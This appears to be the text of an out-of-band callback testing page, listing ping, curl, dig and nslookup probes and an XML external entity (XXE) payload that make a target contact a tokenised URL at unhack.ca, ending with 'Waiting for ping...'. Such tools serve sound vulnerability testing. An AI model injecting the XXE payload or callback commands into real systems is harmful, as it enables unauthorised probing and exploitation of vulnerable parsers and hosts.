$ ping -c1 -p 00b43eaa9635f7ce0149d4d95cb0dd00 unhack.ca
 
$ curl http://unhack.ca/p/b43eaa9635f7ce0149d4d95cb0dd
 
$ dig b43eaa9635f7ce0149d4d95cb0dd @unhack.ca
 
$ dig b43eaa9635f7ce0149d4d95cb0dd.ns.unhack.ca
 
C:\> nslookup b43eaa9635f7ce0149d4d95cb0dd unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/b43eaa9635f7ce0149d4d95cb0dd">]>
    <foo>&xxe;</foo>
Waiting for ping...